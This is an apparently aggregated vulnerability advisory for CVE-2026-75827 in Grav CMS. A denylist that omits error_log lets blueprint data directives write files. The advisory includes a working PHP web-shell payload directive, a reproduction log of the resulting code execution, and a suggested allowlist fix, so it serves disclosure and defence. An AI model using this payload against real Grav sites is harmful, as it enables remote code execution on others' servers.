OFFLINE
Awaiting data
Security intelligence
CriticalCritical vulnerability

CVE-2026-75827: Grav: Blueprint dynamic-data bare-function branch is denylist-gated and omits error_log, giving arbitrary file write

GitHub Advisories · officialPublished Sep 17, 2026Risk 50/100

## Affected versions and vulnerable location - Confirmed on grav core at `78ebfc1` (tag 2.0.13). - Sinks: - `system/src/Grav/Common/Data/Blueprint.php:455-458` `call_user_func_array($o, $params)` (bare-function dynamic-data provider). - Twin: `system/src/Grav/Framework/Flex/FlexDirectory.php:936-938` `call_user_func_array($function, $params)`. - Validation gate: `Blueprint::isSafeDynamicCall()` at `Blueprint.php:514-536`. - `Class::method` branch (`:514-527`) uses a strict positive allowlist `self::$allowedDynamicCallables`. - Bare-function branch (`:530-534`) uses only a denylist: `if (is_string($function) && Utils::isDangerousFunction($function)) return false; return !self::paramsContainDangerousCallable($params);`. - Denylist: `Utils::isDangerousFunction()` (`system/src/Grav/Common/Utils.php`, list around `:2020-2270`). ## Root cause GHSA-7pgq/CVE-2026-64850 hardened the `Class::method` half of the dynamic-callable validation to a positive allowlist because a page-edit account could otherwise name any static method as a provider and reach file/secret gadgets. The bare-function half was left on a denylist (`isDangerousFunction`). Any bare PHP function not on that list executes. `error_log` is not on the denylist (verified: no occurrence in `Utils.php`). `error_log($message, 3, $destination)` appends attacker-controlled `$message` to attacker-controlled file `$destination`, an arbitrary-file-append primitive. `paramsContainDangerousCallable()` (`:587-603`) only scans params for dangerous callable strings, so a PHP payload string and a destination path both pass. (`stream_socket_client`, `dl`, and `mb_send_mail` are likewise absent, giving SSRF/other primitives.) ## Attacker model The same surface the published dynamic-data advisories accept as reachable: a `data-*@` directive in a form blueprint the Form plugin assembles from page frontmatter (GHSA-fj2p), or a `data@` field in a Flex directory/pages/users blueprint (GHSA-c4wf). A page-edit / blueprint-config account, no shell. ## Reachability trace 1. Author a blueprint field with a bare-function data directive, e.g. `data-options@: ['error_log', '<?php system($_GET[0]); ?>', 3, 'user/data/x.php']`. 2. `Blueprint::init()` resolves the directive; `isSafeDynamicCall('error_log', $params)` reaches the bare-function branch (`:530`), `isDangerousFunction('error_log')` is false, `paramsContainDangerousCallable([...])` is false (no callable strings), so it returns true. 3. `call_user_func_array('error_log', ['<?php ...', 3, 'user/data/x.php'])` (`:455`) appends the PHP payload to `user/data/x.php`. 4. Writing to a web-served path (or any path later included) yields code execution. The upload extension denylist does not apply, this is a direct `error_log` write, not an upload. ## Reproduction Executed end to end against the real `Grav\Common\Data\Blueprint` class loaded via `composer install` autoload (PHP 8.5.8, core clone at HEAD 78ebfc1). A harness called the real public `Blueprint::isSafeDynamicCall()`, then drove the sink and executed the written file: ```text [1] isSafeDynamicCall('error_log', [payload,3,dest]) => true # guard ACCEPTS error_log (bug) [2] isSafeDynamicCall('system', ['id']) => false # control isSafeDynamicCall('exec', ['id']) => false # control [3] call_user_func_array('error_log', ['<?php echo "PWNED"; ?>'.EOL, 3, '/tmp/grav_rce_proof.php']) file written: /tmp/grav_rce_proof.php (23 bytes) = <?php echo "PWNED"; ?> [4] php /tmp/grav_rce_proof.php => PWNED # arbitrary PHP executed (RCE) ``` The guard returns true for `error_log` (and false for the denylisted `system`/`exec` controls), the `error_log` sink wrote attacker PHP to disk, and executing that file yielded `PWNED`. Source confirmation: ```bash rg -n "error_log|stream_socket_client|mb_send_mail" system/src/Grav/Common/Utils.php # no hits rg -n "isDangerousFunction|allowedDynamicCallables|call_user_func_array" system/src/Grav/Common/Data/Blueprint.php ``` `error_log` absent from `Utils.php`; `Blueprint.php` gates the bare-function branch on `isDangerousFunction` only, while the `Class::method` branch uses the positive allowlist. ## Suggested fix Convert the bare-function branch to a positive allowlist, symmetric with the `Class::method` allowlist at `:523` (only the option-provider functions first-party blueprints actually use). A denylist cannot be complete: `error_log` (arbitrary append), `stream_socket_client` (SSRF), and others must otherwise each be enumerated. ## Severity and CVSS reasoning Suggested severity: High (same class and reach as GHSA-fj2p / CVE-2026-64850). Suggested CVSS:3.1 vector: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` (9.6) for the RCE outcome; the maintainer may prefer the exact rating they gave GHSA-fj2p. - `PR:L`: a blueprint/page-edit account, not super. - `C:H/I:H/A:H`: arbitrary file write leading to code execution. ## How I found it and a note on tooling I compared the two branches of `isSafeDynamicCall()`: the `Class::method` branch is a positive allowlist (the GHSA-7pgq fix) while the bare-function branch is a denylist, then checked the denylist for append/exec-capable functions and found `error_log` missing. I used AI assistance for enumeration and drafting. I then executed the real `Blueprint::isSafeDynamicCall()` (loaded via composer autoload) to confirm it accepts `error_log` and rejects `system`/`exec`, and drove the `error_log` sink to write and execute attacker PHP. Verification is executed end to end against the real class; I did not run it through a full HTTP request into a bootstrapped Grav site.

Upgrade affected packages to a patched version: getgrav/grav 2.0.15.

Vendor
Not specified
Product
getgrav/grav
Exploitation
none known
Evidence
official
CVSS
8.8

This record is attributed to GitHub Advisories. Exploitation status and remediation guidance are kept separate from the vulnerability's technical severity.

Open primary source